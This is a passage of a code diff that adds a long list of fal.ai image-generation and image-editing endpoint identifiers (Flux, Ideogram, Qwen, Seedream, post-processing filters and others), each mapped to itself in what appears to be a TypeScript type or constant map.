'fal-ai/bytedance/seedream/v4.5/edit': 'fal-ai/bytedance/seedream/v4.5/edit', + 'fal-ai/bytedance/seedream/v4.5/text-to-image': + 'fal-ai/bytedance/seedream/v4.5/text-to-image', + 'fal-ai/bytedance/seedream/v4/edit': 'fal-ai/bytedance/seedream/v4/edit', + 'fal-ai/bytedance/seedream/v4/text-to-image': + 'fal-ai/bytedance/seedream/v4/text-to-image', + 'fal-ai/cat-vton': 'fal-ai/cat-vton', + 'fal-ai/clarity-upscaler': 'fal-ai/clarity-upscaler', + 'fal-ai/codeformer': 'fal-ai/codeformer', + 'fal-ai/control-light': 'fal-ai/control-light', + 'fal-ai/creative-upscaler': 'fal-ai/creative-upscaler', + 'fal-ai/ddcolor': 'fal-ai/ddcolor', + 'fal-ai/dwpose': 'fal-ai/dwpose', + 'fal-ai/emu-3.5-image/edit-image': 'fal-ai/emu-3.5-image/edit-image', + 'fal-ai/emu-3.5-image/text-to-image': 'fal-ai/emu-3.5-image/text-to-image', + 'fal-ai/ernie-image': 'fal-ai/ernie-image', + 'fal-ai/ernie-image/lora': 'fal-ai/ernie-image/lora', + 'fal-ai/ernie-image/lora/turbo': 'fal-ai/ernie-image/lora/turbo', + 'fal-ai/ernie-image/turbo': 'fal-ai/ernie-image/turbo', + 'fal-ai/esrgan': 'fal-ai/esrgan', + 'fal-ai/evf-sam': 'fal-ai/evf-sam', + 'fal-ai/fashn/tryon/v1.5': 'fal-ai/fashn/tryon/v1.5', + 'fal-ai/fashn/tryon/v1.6': 'fal-ai/fashn/tryon/v1.6', + 'fal-ai/fast-lcm-diffusion': 'fal-ai/fast-lcm-diffusion', + 'fal-ai/fast-lcm-diffusion/image-to-image': + 'fal-ai/fast-lcm-diffusion/image-to-image', + 'fal-ai/fast-lcm-diffusion/inpainting': + 'fal-ai/fast-lcm-diffusion/inpainting', + 'fal-ai/fast-lightning-sdxl': 'fal-ai/fast-lightning-sdxl', + 'fal-ai/fast-lightning-sdxl/image-to-image': + 'fal-ai/fast-lightning-sdxl/image-to-image', + 'fal-ai/fast-lightning-sdxl/inpainting': + 'fal-ai/fast-lightning-sdxl/inpainting', + 'fal-ai/fast-sdxl': 'fal-ai/fast-sdxl', + 'fal-ai/fast-sdxl/image-to-image': 'fal-ai/fast-sdxl/image-to-image', + 'fal-ai/fast-sdxl/inpainting': 'fal-ai/fast-sdxl/inpainting', + 'fal-ai/feynobg': 'fal-ai/feynobg', + 'fal-ai/ffmpeg-api/extract-frame': 'fal-ai/ffmpeg-api/extract-frame', + 'fal-ai/film': 'fal-ai/film', + 'fal-ai/finegrain-eraser': 'fal-ai/finegrain-eraser', + 'fal-ai/finegrain-eraser/bbox': 'fal-ai/finegrain-eraser/bbox', + 'fal-ai/finegrain-eraser/mask': 'fal-ai/finegrain-eraser/mask', + 'fal-ai/firered-image-edit-v1.1': 'fal-ai/firered-image-edit-v1.1', + 'fal-ai/florence-2-large/caption-to-phrase-grounding': + 'fal-ai/florence-2-large/caption-to-phrase-grounding', + 'fal-ai/florence-2-large/dense-region-caption': + 'fal-ai/florence-2-large/dense-region-caption', + 'fal-ai/florence-2-large/object-detection': + 'fal-ai/florence-2-large/object-detection', + 'fal-ai/florence-2-large/ocr-with-region': + 'fal-ai/florence-2-large/ocr-with-region', + 'fal-ai/florence-2-large/open-vocabulary-detection': + 'fal-ai/florence-2-large/open-vocabulary-detection', + 'fal-ai/florence-2-large/referring-expression-segmentation': + 'fal-ai/florence-2-large/referring-expression-segmentation', + 'fal-ai/florence-2-large/region-proposal': + 'fal-ai/florence-2-large/region-proposal', + 'fal-ai/florence-2-large/region-to-segmentation': + 'fal-ai/florence-2-large/region-to-segmentation', + 'fal-ai/flux-1/dev': 'fal-ai/flux-1/dev', + 'fal-ai/flux-1/dev/image-to-image': 'fal-ai/flux-1/dev/image-to-image', + 'fal-ai/flux-1/dev/redux': 'fal-ai/flux-1/dev/redux', + 'fal-ai/flux-1/krea': 'fal-ai/flux-1/krea', + 'fal-ai/flux-1/krea/image-to-image': 'fal-ai/flux-1/krea/image-to-image', + 'fal-ai/flux-1/krea/redux': 'fal-ai/flux-1/krea/redux', + 'fal-ai/flux-1/schnell': 'fal-ai/flux-1/schnell', + 'fal-ai/flux-1/schnell/redux': 'fal-ai/flux-1/schnell/redux', + 'fal-ai/flux-1/srpo': 'fal-ai/flux-1/srpo', + 'fal-ai/flux-1/srpo/image-to-image': 'fal-ai/flux-1/srpo/image-to-image', + 'fal-ai/flux-2': 'fal-ai/flux-2', + 'fal-ai/flux-2-flex': 'fal-ai/flux-2-flex', + 'fal-ai/flux-2-flex/edit': 'fal-ai/flux-2-flex/edit', + 'fal-ai/flux-2-lora-gallery/add-background': + 'fal-ai/flux-2-lora-gallery/add-background', + 'fal-ai/flux-2-lora-gallery/apartment-staging': + 'fal-ai/flux-2-lora-gallery/apartment-staging', + 'fal-ai/flux-2-lora-gallery/ballpoint-pen-sketch': + 'fal-ai/flux-2-lora-gallery/ballpoint-pen-sketch', + 'fal-ai/flux-2-lora-gallery/digital-comic-art': + 'fal-ai/flux-2-lora-gallery/digital-comic-art', + 'fal-ai/flux-2-lora-gallery/face-to-full-portrait': + 'fal-ai/flux-2-lora-gallery/face-to-full-portrait', + 'fal-ai/flux-2-lora-gallery/hdr-style': + 'fal-ai/flux-2-lora-gallery/hdr-style', + 'fal-ai/flux-2-lora-gallery/multiple-angles': + 'fal-ai/flux-2-lora-gallery/multiple-angles', + 'fal-ai/flux-2-lora-gallery/realism': 'fal-ai/flux-2-lora-gallery/realism', + 'fal-ai/flux-2-lora-gallery/satellite-view-style': + 'fal-ai/flux-2-lora-gallery/satellite-view-style', + 'fal-ai/flux-2-lora-gallery/sepia-vintage': + 'fal-ai/flux-2-lora-gallery/sepia-vintage', + 'fal-ai/flux-2-lora-gallery/virtual-tryon': + 'fal-ai/flux-2-lora-gallery/virtual-tryon', + 'fal-ai/flux-2-max': 'fal-ai/flux-2-max', + 'fal-ai/flux-2-max/edit': 'fal-ai/flux-2-max/edit', + 'fal-ai/flux-2-pro': 'fal-ai/flux-2-pro', + 'fal-ai/flux-2-pro/edit': 'fal-ai/flux-2-pro/edit', + 'fal-ai/flux-2-pro/outpaint': 'fal-ai/flux-2-pro/outpaint', + 'fal-ai/flux-2/edit': 'fal-ai/flux-2/edit', + 'fal-ai/flux-2/flash': 'fal-ai/flux-2/flash', + 'fal-ai/flux-2/flash/edit': 'fal-ai/flux-2/flash/edit', + 'fal-ai/flux-2/klein/4b': 'fal-ai/flux-2/klein/4b', + 'fal-ai/flux-2/klein/4b/base': 'fal-ai/flux-2/klein/4b/base', + 'fal-ai/flux-2/klein/4b/base/edit': 'fal-ai/flux-2/klein/4b/base/edit', + 'fal-ai/flux-2/klein/4b/base/edit/lora': + 'fal-ai/flux-2/klein/4b/base/edit/lora', + 'fal-ai/flux-2/klein/4b/base/lora': 'fal-ai/flux-2/klein/4b/base/lora', + 'fal-ai/flux-2/klein/4b/edit': 'fal-ai/flux-2/klein/4b/edit', + 'fal-ai/flux-2/klein/4b/edit/lora': 'fal-ai/flux-2/klein/4b/edit/lora', + 'fal-ai/flux-2/klein/4b/lora': 'fal-ai/flux-2/klein/4b/lora', + 'fal-ai/flux-2/klein/9b': 'fal-ai/flux-2/klein/9b', + 'fal-ai/flux-2/klein/9b/base': 'fal-ai/flux-2/klein/9b/base', + 'fal-ai/flux-2/klein/9b/base/edit': 'fal-ai/flux-2/klein/9b/base/edit', + 'fal-ai/flux-2/klein/9b/base/edit/lora': + 'fal-ai/flux-2/klein/9b/base/edit/lora', + 'fal-ai/flux-2/klein/9b/base/lora': 'fal-ai/flux-2/klein/9b/base/lora', + 'fal-ai/flux-2/klein/9b/edit': 'fal-ai/flux-2/klein/9b/edit', + 'fal-ai/flux-2/klein/9b/edit/lora': 'fal-ai/flux-2/klein/9b/edit/lora', + 'fal-ai/flux-2/klein/9b/lora': 'fal-ai/flux-2/klein/9b/lora', + 'fal-ai/flux-2/klein/realtime': 'fal-ai/flux-2/klein/realtime', + 'fal-ai/flux-2/lora': 'fal-ai/flux-2/lora', + 'fal-ai/flux-2/lora/edit': 'fal-ai/flux-2/lora/edit', + 'fal-ai/flux-2/turbo': 'fal-ai/flux-2/turbo', + 'fal-ai/flux-2/turbo/edit': 'fal-ai/flux-2/turbo/edit', + 'fal-ai/flux-general': 'fal-ai/flux-general', + 'fal-ai/flux-general/differential-diffusion': + 'fal-ai/flux-general/differential-diffusion', + 'fal-ai/flux-general/image-to-image': 'fal-ai/flux-general/image-to-image', + 'fal-ai/flux-general/inpainting': 'fal-ai/flux-general/inpainting', + 'fal-ai/flux-general/rf-inversion': 'fal-ai/flux-general/rf-inversion', + 'fal-ai/flux-kontext-lora': 'fal-ai/flux-kontext-lora', + 'fal-ai/flux-kontext-lora/inpaint': 'fal-ai/flux-kontext-lora/inpaint', + 'fal-ai/flux-kontext-lora/text-to-image': + 'fal-ai/flux-kontext-lora/text-to-image', + 'fal-ai/flux-kontext/dev': 'fal-ai/flux-kontext/dev', + 'fal-ai/flux-krea-lora': 'fal-ai/flux-krea-lora', + 'fal-ai/flux-krea-lora/image-to-image': + 'fal-ai/flux-krea-lora/image-to-image', + 'fal-ai/flux-krea-lora/inpainting': 'fal-ai/flux-krea-lora/inpainting', + 'fal-ai/flux-krea-lora/stream': 'fal-ai/flux-krea-lora/stream', + 'fal-ai/flux-lora': 'fal-ai/flux-lora', + 'fal-ai/flux-lora-canny': 'fal-ai/flux-lora-canny', + 'fal-ai/flux-lora-depth': 'fal-ai/flux-lora-depth', + 'fal-ai/flux-lora-fill': 'fal-ai/flux-lora-fill', + 'fal-ai/flux-lora/image-to-image': 'fal-ai/flux-lora/image-to-image', + 'fal-ai/flux-lora/inpainting': 'fal-ai/flux-lora/inpainting', + 'fal-ai/flux-lora/stream': 'fal-ai/flux-lora/stream', + 'fal-ai/flux-pro/kontext': 'fal-ai/flux-pro/kontext', + 'fal-ai/flux-pro/kontext/max': 'fal-ai/flux-pro/kontext/max', + 'fal-ai/flux-pro/kontext/max/multi': 'fal-ai/flux-pro/kontext/max/multi', + 'fal-ai/flux-pro/kontext/max/text-to-image': + 'fal-ai/flux-pro/kontext/max/text-to-image', + 'fal-ai/flux-pro/kontext/multi': 'fal-ai/flux-pro/kontext/multi', + 'fal-ai/flux-pro/kontext/text-to-image': + 'fal-ai/flux-pro/kontext/text-to-image', + 'fal-ai/flux-pro/v1.1': 'fal-ai/flux-pro/v1.1', + 'fal-ai/flux-pro/v1.1-ultra': 'fal-ai/flux-pro/v1.1-ultra', + 'fal-ai/flux-pro/v1.1-ultra-finetuned': + 'fal-ai/flux-pro/v1.1-ultra-finetuned', + 'fal-ai/flux-pro/v1.1-ultra/redux': 'fal-ai/flux-pro/v1.1-ultra/redux', + 'fal-ai/flux-pro/v1.1/redux': 'fal-ai/flux-pro/v1.1/redux', + 'fal-ai/flux-pro/v1/erase': 'fal-ai/flux-pro/v1/erase', + 'fal-ai/flux-pro/v1/fill': 'fal-ai/flux-pro/v1/fill', + 'fal-ai/flux-pro/v1/fill-finetuned': 'fal-ai/flux-pro/v1/fill-finetuned', + 'fal-ai/flux-pro/v1/vto': 'fal-ai/flux-pro/v1/vto', + 'fal-ai/flux-pulid': 'fal-ai/flux-pulid', + 'fal-ai/flux-vision-upscaler': 'fal-ai/flux-vision-upscaler', + 'fal-ai/flux/dev': 'fal-ai/flux/dev', + 'fal-ai/flux/dev/image-to-image': 'fal-ai/flux/dev/image-to-image', + 'fal-ai/flux/dev/redux': 'fal-ai/flux/dev/redux', + 'fal-ai/flux/krea': 'fal-ai/flux/krea', + 'fal-ai/flux/krea/image-to-image': 'fal-ai/flux/krea/image-to-image', + 'fal-ai/flux/krea/redux': 'fal-ai/flux/krea/redux', + 'fal-ai/flux/schnell': 'fal-ai/flux/schnell', + 'fal-ai/flux/schnell/redux': 'fal-ai/flux/schnell/redux', + 'fal-ai/flux/srpo': 'fal-ai/flux/srpo', + 'fal-ai/flux/srpo/image-to-image': 'fal-ai/flux/srpo/image-to-image', + 'fal-ai/fooocus': 'fal-ai/fooocus', + 'fal-ai/fooocus/image-prompt': 'fal-ai/fooocus/image-prompt', + 'fal-ai/fooocus/inpaint': 'fal-ai/fooocus/inpaint', + 'fal-ai/fooocus/upscale-or-vary': 'fal-ai/fooocus/upscale-or-vary', + 'fal-ai/gemini-25-flash-image': 'fal-ai/gemini-25-flash-image', + 'fal-ai/gemini-25-flash-image/edit': 'fal-ai/gemini-25-flash-image/edit', + 'fal-ai/gemini-3-pro-image-preview': 'fal-ai/gemini-3-pro-image-preview', + 'fal-ai/gemini-3-pro-image-preview/edit': + 'fal-ai/gemini-3-pro-image-preview/edit', + 'fal-ai/gemini-3.1-flash-image-preview': + 'fal-ai/gemini-3.1-flash-image-preview', + 'fal-ai/gemini-3.1-flash-image-preview/edit': + 'fal-ai/gemini-3.1-flash-image-preview/edit', + 'fal-ai/glm-image': 'fal-ai/glm-image', + 'fal-ai/glm-image/image-to-image': 'fal-ai/glm-image/image-to-image', + 'fal-ai/gpt-image-1-mini': 'fal-ai/gpt-image-1-mini', + 'fal-ai/gpt-image-1-mini/edit': 'fal-ai/gpt-image-1-mini/edit', + 'fal-ai/gpt-image-1.5': 'fal-ai/gpt-image-1.5', + 'fal-ai/gpt-image-1.5/edit': 'fal-ai/gpt-image-1.5/edit', + 'fal-ai/hidream-i1-fast': 'fal-ai/hidream-i1-fast', + 'fal-ai/hidream-i1-full': 'fal-ai/hidream-i1-full', + 'fal-ai/hidream-i1-full/image-to-image': + 'fal-ai/hidream-i1-full/image-to-image', + 'fal-ai/hidream-o1-image': 'fal-ai/hidream-o1-image', + 'fal-ai/hidream-o1-image/dev': 'fal-ai/hidream-o1-image/dev', + 'fal-ai/hidream-o1-image/dev/edit': 'fal-ai/hidream-o1-image/dev/edit', + 'fal-ai/hidream-o1-image/edit': 'fal-ai/hidream-o1-image/edit', + 'fal-ai/hunyuan_world': 'fal-ai/hunyuan_world', + 'fal-ai/hunyuan-image/v2.1/text-to-image': + 'fal-ai/hunyuan-image/v2.1/text-to-image', + 'fal-ai/hunyuan-image/v3/instruct/edit': + 'fal-ai/hunyuan-image/v3/instruct/edit', + 'fal-ai/hunyuan-image/v3/instruct/text-to-image': + 'fal-ai/hunyuan-image/v3/instruct/text-to-image', + 'fal-ai/hunyuan-image/v3/text-to-image': + 'fal-ai/hunyuan-image/v3/text-to-image', + 'fal-ai/hy-wu-edit': 'fal-ai/hy-wu-edit', + 'fal-ai/iclight-v2': 'fal-ai/iclight-v2', + 'fal-ai/ideogram/character': 'fal-ai/ideogram/character', + 'fal-ai/ideogram/character/edit': 'fal-ai/ideogram/character/edit', + 'fal-ai/ideogram/character/remix': 'fal-ai/ideogram/character/remix', + 'fal-ai/ideogram/object-removal': 'fal-ai/ideogram/object-removal', + 'fal-ai/ideogram/remove-background': 'fal-ai/ideogram/remove-background', + 'fal-ai/ideogram/upscale': 'fal-ai/ideogram/upscale', + 'fal-ai/ideogram/v2': 'fal-ai/ideogram/v2', + 'fal-ai/ideogram/v2/edit': 'fal-ai/ideogram/v2/edit', + 'fal-ai/ideogram/v2/remix': 'fal-ai/ideogram/v2/remix', + 'fal-ai/ideogram/v2/turbo': 'fal-ai/ideogram/v2/turbo', + 'fal-ai/ideogram/v2/turbo/edit': 'fal-ai/ideogram/v2/turbo/edit', + 'fal-ai/ideogram/v2/turbo/remix': 'fal-ai/ideogram/v2/turbo/remix', + 'fal-ai/ideogram/v2a': 'fal-ai/ideogram/v2a', + 'fal-ai/ideogram/v2a/remix': 'fal-ai/ideogram/v2a/remix', + 'fal-ai/ideogram/v2a/turbo': 'fal-ai/ideogram/v2a/turbo', + 'fal-ai/ideogram/v2a/turbo/remix': 'fal-ai/ideogram/v2a/turbo/remix', + 'fal-ai/ideogram/v3': 'fal-ai/ideogram/v3', + 'fal-ai/ideogram/v3/edit': 'fal-ai/ideogram/v3/edit', + 'fal-ai/ideogram/v3/generate-transparent': + 'fal-ai/ideogram/v3/generate-transparent', + 'fal-ai/ideogram/v3/layerize-text': 'fal-ai/ideogram/v3/layerize-text', + 'fal-ai/ideogram/v3/reframe': 'fal-ai/ideogram/v3/reframe', + 'fal-ai/ideogram/v3/remix': 'fal-ai/ideogram/v3/remix', + 'fal-ai/ideogram/v3/replace-background': + 'fal-ai/ideogram/v3/replace-background', + 'fal-ai/illusion-diffusion': 'fal-ai/illusion-diffusion', + 'fal-ai/image-apps-v2/age-modify': 'fal-ai/image-apps-v2/age-modify', + 'fal-ai/image-apps-v2/city-teleport': 'fal-ai/image-apps-v2/city-teleport', + 'fal-ai/image-apps-v2/expression-change': + 'fal-ai/image-apps-v2/expression-change', + 'fal-ai/image-apps-v2/hair-change': 'fal-ai/image-apps-v2/hair-change', + 'fal-ai/image-apps-v2/headshot-photo': 'fal-ai/image-apps-v2/headshot-photo', + 'fal-ai/image-apps-v2/makeup-application': + 'fal-ai/image-apps-v2/makeup-application', + 'fal-ai/image-apps-v2/object-removal': 'fal-ai/image-apps-v2/object-removal', + 'fal-ai/image-apps-v2/outpaint': 'fal-ai/image-apps-v2/outpaint', + 'fal-ai/image-apps-v2/perspective': 'fal-ai/image-apps-v2/perspective', + 'fal-ai/image-apps-v2/photo-restoration': + 'fal-ai/image-apps-v2/photo-restoration', + 'fal-ai/image-apps-v2/photography-effects': + 'fal-ai/image-apps-v2/photography-effects', + 'fal-ai/image-apps-v2/portrait-enhance': + 'fal-ai/image-apps-v2/portrait-enhance', + 'fal-ai/image-apps-v2/product-holding': + 'fal-ai/image-apps-v2/product-holding', + 'fal-ai/image-apps-v2/product-photography': + 'fal-ai/image-apps-v2/product-photography', + 'fal-ai/image-apps-v2/relighting': 'fal-ai/image-apps-v2/relighting', + 'fal-ai/image-apps-v2/style-transfer': 'fal-ai/image-apps-v2/style-transfer', + 'fal-ai/image-apps-v2/texture-transform': + 'fal-ai/image-apps-v2/texture-transform', + 'fal-ai/image-apps-v2/virtual-try-on': 'fal-ai/image-apps-v2/virtual-try-on', + 'fal-ai/image-editing/age-progression': + 'fal-ai/image-editing/age-progression', + 'fal-ai/image-editing/baby-version': 'fal-ai/image-editing/baby-version', + 'fal-ai/image-editing/background-change': + 'fal-ai/image-editing/background-change', + 'fal-ai/image-editing/broccoli-haircut': + 'fal-ai/image-editing/broccoli-haircut', + 'fal-ai/image-editing/cartoonify': 'fal-ai/image-editing/cartoonify', + 'fal-ai/image-editing/color-correction': + 'fal-ai/image-editing/color-correction', + 'fal-ai/image-editing/expression-change': + 'fal-ai/image-editing/expression-change', + 'fal-ai/image-editing/face-enhancement': + 'fal-ai/image-editing/face-enhancement', + 'fal-ai/image-editing/hair-change': 'fal-ai/image-editing/hair-change', + 'fal-ai/image-editing/object-removal': 'fal-ai/image-editing/object-removal', + 'fal-ai/image-editing/photo-restoration': + 'fal-ai/image-editing/photo-restoration', + 'fal-ai/image-editing/plushie-style': 'fal-ai/image-editing/plushie-style', + 'fal-ai/image-editing/professional-photo': + 'fal-ai/image-editing/professional-photo', + 'fal-ai/image-editing/realism': 'fal-ai/image-editing/realism', + 'fal-ai/image-editing/reframe': 'fal-ai/image-editing/reframe', + 'fal-ai/image-editing/retouch': 'fal-ai/image-editing/retouch', + 'fal-ai/image-editing/scene-composition': + 'fal-ai/image-editing/scene-composition', + 'fal-ai/image-editing/style-transfer': 'fal-ai/image-editing/style-transfer', + 'fal-ai/image-editing/text-removal': 'fal-ai/image-editing/text-removal', + 'fal-ai/image-editing/time-of-day': 'fal-ai/image-editing/time-of-day', + 'fal-ai/image-editing/weather-effect': 'fal-ai/image-editing/weather-effect', + 'fal-ai/image-editing/wojak-style': 'fal-ai/image-editing/wojak-style', + 'fal-ai/image-editing/youtube-thumbnails': + 'fal-ai/image-editing/youtube-thumbnails', + 'fal-ai/image-preprocessors/depth-anything/v2': + 'fal-ai/image-preprocessors/depth-anything/v2', + 'fal-ai/image-preprocessors/hed': 'fal-ai/image-preprocessors/hed', + 'fal-ai/image-preprocessors/lineart': 'fal-ai/image-preprocessors/lineart', + 'fal-ai/image-preprocessors/midas': 'fal-ai/image-preprocessors/midas', + 'fal-ai/image-preprocessors/mlsd': 'fal-ai/image-preprocessors/mlsd', + 'fal-ai/image-preprocessors/pidi': 'fal-ai/image-preprocessors/pidi', + 'fal-ai/image-preprocessors/sam': 'fal-ai/image-preprocessors/sam', + 'fal-ai/image-preprocessors/scribble': 'fal-ai/image-preprocessors/scribble', + 'fal-ai/image-preprocessors/teed': 'fal-ai/image-preprocessors/teed', + 'fal-ai/image-preprocessors/zoe': 'fal-ai/image-preprocessors/zoe', + 'fal-ai/image2pixel': 'fal-ai/image2pixel', + 'fal-ai/image2svg': 'fal-ai/image2svg', + 'fal-ai/imageutils/depth': 'fal-ai/imageutils/depth', + 'fal-ai/imageutils/marigold-depth': 'fal-ai/imageutils/marigold-depth', + 'fal-ai/imageutils/rembg': 'fal-ai/imageutils/rembg', + 'fal-ai/instant-character': 'fal-ai/instant-character', + 'fal-ai/ip-adapter-face-id': 'fal-ai/ip-adapter-face-id', + 'fal-ai/kling-image/o1': 'fal-ai/kling-image/o1', + 'fal-ai/kling-image/o3/image-to-image': + 'fal-ai/kling-image/o3/image-to-image', + 'fal-ai/kling-image/o3/text-to-image': 'fal-ai/kling-image/o3/text-to-image', + 'fal-ai/kling-image/v3/image-to-image': + 'fal-ai/kling-image/v3/image-to-image', + 'fal-ai/kling-image/v3/text-to-image': 'fal-ai/kling-image/v3/text-to-image', + 'fal-ai/kolors': 'fal-ai/kolors', + 'fal-ai/kolors/image-to-image': 'fal-ai/kolors/image-to-image', + 'fal-ai/krea-2/turbo': 'fal-ai/krea-2/turbo', + 'fal-ai/krea-2/turbo/lora': 'fal-ai/krea-2/turbo/lora', + 'fal-ai/krea-2/turbo/style': 'fal-ai/krea-2/turbo/style', + 'fal-ai/leffa/pose-transfer': 'fal-ai/leffa/pose-transfer', + 'fal-ai/leffa/virtual-tryon': 'fal-ai/leffa/virtual-tryon', + 'fal-ai/live-portrait/image': 'fal-ai/live-portrait/image', + 'fal-ai/longcat-image': 'fal-ai/longcat-image', + 'fal-ai/longcat-image/edit': 'fal-ai/longcat-image/edit', + 'fal-ai/lora': 'fal-ai/lora', + 'fal-ai/lora/image-to-image': 'fal-ai/lora/image-to-image', + 'fal-ai/lora/inpaint': 'fal-ai/lora/inpaint', + 'fal-ai/luma-photon': 'fal-ai/luma-photon', + 'fal-ai/luma-photon/flash': 'fal-ai/luma-photon/flash', + 'fal-ai/luma-photon/flash/modify': 'fal-ai/luma-photon/flash/modify', + 'fal-ai/luma-photon/flash/reframe': 'fal-ai/luma-photon/flash/reframe', + 'fal-ai/luma-photon/modify': 'fal-ai/luma-photon/modify', + 'fal-ai/luma-photon/reframe': 'fal-ai/luma-photon/reframe', + 'fal-ai/lumina-image/v2': 'fal-ai/lumina-image/v2', + 'fal-ai/marigold-v2': 'fal-ai/marigold-v2', + 'fal-ai/minimax/image-01': 'fal-ai/minimax/image-01', + 'fal-ai/minimax/image-01/subject-reference': + 'fal-ai/minimax/image-01/subject-reference', + 'fal-ai/moondream-next/detection': 'fal-ai/moondream-next/detection', + 'fal-ai/moondream3-preview/segment': 'fal-ai/moondream3-preview/segment', + 'fal-ai/moss-image': 'fal-ai/moss-image', + 'fal-ai/nafnet/deblur': 'fal-ai/nafnet/deblur', + 'fal-ai/nafnet/denoise': 'fal-ai/nafnet/denoise', + 'fal-ai/nano-banana': 'fal-ai/nano-banana', + 'fal-ai/nano-banana-2': 'fal-ai/nano-banana-2', + 'fal-ai/nano-banana-2/edit': 'fal-ai/nano-banana-2/edit', + 'fal-ai/nano-banana-pro': 'fal-ai/nano-banana-pro', + 'fal-ai/nano-banana-pro/edit': 'fal-ai/nano-banana-pro/edit', + 'fal-ai/nano-banana/edit': 'fal-ai/nano-banana/edit', + 'fal-ai/nucleus-image': 'fal-ai/nucleus-image', + 'fal-ai/object-removal': 'fal-ai/object-removal', + 'fal-ai/object-removal/bbox': 'fal-ai/object-removal/bbox', + 'fal-ai/object-removal/mask': 'fal-ai/object-removal/mask', + 'fal-ai/omnigen-v2': 'fal-ai/omnigen-v2', + 'fal-ai/patina': 'fal-ai/patina', + 'fal-ai/patina/material': 'fal-ai/patina/material', + 'fal-ai/patina/material/extract': 'fal-ai/patina/material/extract', + 'fal-ai/phota': 'fal-ai/phota', + 'fal-ai/phota/edit': 'fal-ai/phota/edit', + 'fal-ai/phota/enhance': 'fal-ai/phota/enhance', + 'fal-ai/post-processing': 'fal-ai/post-processing', + 'fal-ai/post-processing/blur': 'fal-ai/post-processing/blur', + 'fal-ai/post-processing/chromatic-aberration': + 'fal-ai/post-processing/chromatic-aberration', + 'fal-ai/post-processing/color-correction': + 'fal-ai/post-processing/color-correction', + 'fal-ai/post-processing/color-tint': 'fal-ai/post-processing/color-tint', + 'fal-ai/post-processing/desaturate': 'fal-ai/post-processing/desaturate', + 'fal-ai/post-processing/dissolve': 'fal-ai/post-processing/dissolve', + 'fal-ai/post-processing/dodge-burn': 'fal-ai/post-processing/dodge-burn', + 'fal-ai/post-processing/grain': 'fal-ai/post-processing/grain', + 'fal-ai/post-processing/parabolize': 'fal-ai/post-processing/parabolize', + 'fal-ai/post-processing/sharpen': 'fal-ai/post-processing/sharpen', + 'fal-ai/post-processing/solarize': 'fal-ai/post-processing/solarize', + 'fal-ai/post-processing/vignette': 'fal-ai/post-processing/vignette', + 'fal-ai/qwen-image': 'fal-ai/qwen-image', + 'fal-ai/qwen-image-2512': 'fal-ai/qwen-image-2512', + 'fal-ai/qwen-image-2512/lora': 'fal-ai/qwen-image-2512/lora', + 'fal-ai/qwen-image-edit-2509': 'fal-ai/qwen-image-edit-2509', + 'fal-ai/qwen-image-edit-2509-lora': 'fal-ai/qwen-image-edit-2509-lora', + 'fal-ai/qwen-image-edit-2509-lora-gallery/add-background': + 'fal-ai/qwen-image-edit-2509-lora-gallery/add-background', + 'fal-ai/qwen-image-edit-2509-lora-gallery/face-to-full-portrait': + 'fal-ai/qwen-image-edit-2509-lora-gallery/face-to-full-portrait', + 'fal-ai/qwen-image-edit-2509-lora-gallery/group-photo': + 'fal-ai/qwen-image-edit-2509-lora-gallery/group-photo', + 'fal-ai/qwen-image-edit-2509-lora-gallery/integrate-product': + 'fal-ai/qwen-image-edit-2509-lora-gallery/integrate-product', + 'fal-ai/qwen-image-edit-2509-lora-gallery/lighting-restoration': + 'fal-ai/qwen-image-edit-2509-lora-gallery/lighting-restoration', + 'fal-ai/qwen-image-edit-2509-lora-gallery/multiple-angles': + 'fal-ai/qwen-image-edit-2509-lora-gallery/multiple-angles', + 'fal-ai/qwen-image-edit-2509-lora-gallery/next-scene': + 'fal-ai/qwen-image-edit-2509-lora-gallery/next-scene', + 'fal-ai/qwen-image-edit-2509-lora-gallery/remove-element': + 'fal-ai/qwen-image-edit-2509-lora-gallery/remove-element', + 'fal-ai/qwen-image-edit-2509-lora-gallery/remove-lighting': + 'fal-ai/qwen-image-edit-2509-lora-gallery/remove-lighting', + 'fal-ai/qwen-image-edit-2509-lora-gallery/shirt-design': + 'fal-ai/qwen-image-edit-2509-lora-gallery/shirt-design', + 'fal-ai/qwen-image-edit-2511': 'fal-ai/qwen-image-edit-2511', + 'fal-ai/qwen-image-edit-2511-multiple-angles': + 'fal-ai/qwen-image-edit-2511-multiple-angles', + 'fal-ai/qwen-image-edit-2511/lora': 'fal-ai/qwen-image-edit-2511/lora', + 'fal-ai/qwen-image-edit-lora': 'fal-ai/qwen-image-edit-lora', + 'fal-ai/qwen-image-edit-plus': 'fal-ai/qwen-image-edit-plus', + 'fal-ai/qwen-image-edit-plus-lora': 'fal-ai/qwen-image-edit-plus-lora', + 'fal-ai/qwen-image-edit-plus-lora-gallery/add-background': + 'fal-ai/qwen-image-edit-plus-lora-gallery/add-background', + 'fal-ai/qwen-image-edit-plus-lora-gallery/face-to-full-portrait': + 'fal-ai/qwen-image-edit-plus-lora-gallery/face-to-full-portrait', + 'fal-ai/qwen-image-edit-plus-lora-gallery/group-photo': + 'fal-ai/qwen-image-edit-plus-lora-gallery/group-photo', + 'fal-ai/qwen-image-edit-plus-lora-gallery/integrate-product': + 'fal-ai/qwen-image-edit-plus-lora-gallery/integrate-product', + 'fal-ai/qwen-image-edit-plus-lora-gallery/lighting-restoration': + 'fal-ai/qwen-image-edit-plus-lora-gallery/lighting-restoration', + 'fal-ai/qwen-image-edit-plus-lora-gallery/multiple-angles': + 'fal-ai/qwen-image-edit-plus-lora-gallery/multiple-angles', + 'fal-ai/qwen-image-edit-plus-lora-gallery/next-scene': + 'fal-ai/qwen-image-edit-plus-lora-gallery/next-scene', + 'fal-ai/qwen-image-edit-plus-lora-gallery/remove-element': + 'fal-ai/qwen-image-edit-plus-lora-gallery/remove-element', + 'fal-ai/qwen-image-edit-plus-lora-gallery/remove-lighting': + 'fal-ai/qwen-image-edit-plus-lora-gallery/remove-lighting', + 'fal-ai/qwen-image-edit-plus-lora-gallery/shirt-design': + 'fal-ai/qwen-image-edit-plus-lora-gallery/shirt-design', + 'fal-ai/qwen-image-edit/image-to-image': + 'fal-ai/qwen-image-edit/image-to-image', + 'fal-ai/qwen-image-edit/inpaint': 'fal-ai/qwen-image-edit/inpaint', + 'fal-ai/qwen-image-layered': 'fal-ai/qwen-image-layered', + 'fal-ai/qwen-image-layered/lora': 'fal-ai/qwen-image-layered/lora', + 'fal-ai/qwen-image/image-to-image': 'fal-ai/qwen-image/image-to-image', + 'fal-ai/recraft-20b': 'fal-ai/recraft-20b', + 'fal-ai/recraft/upscale/creative': 'fal-ai/recraft/upscale/creative', + 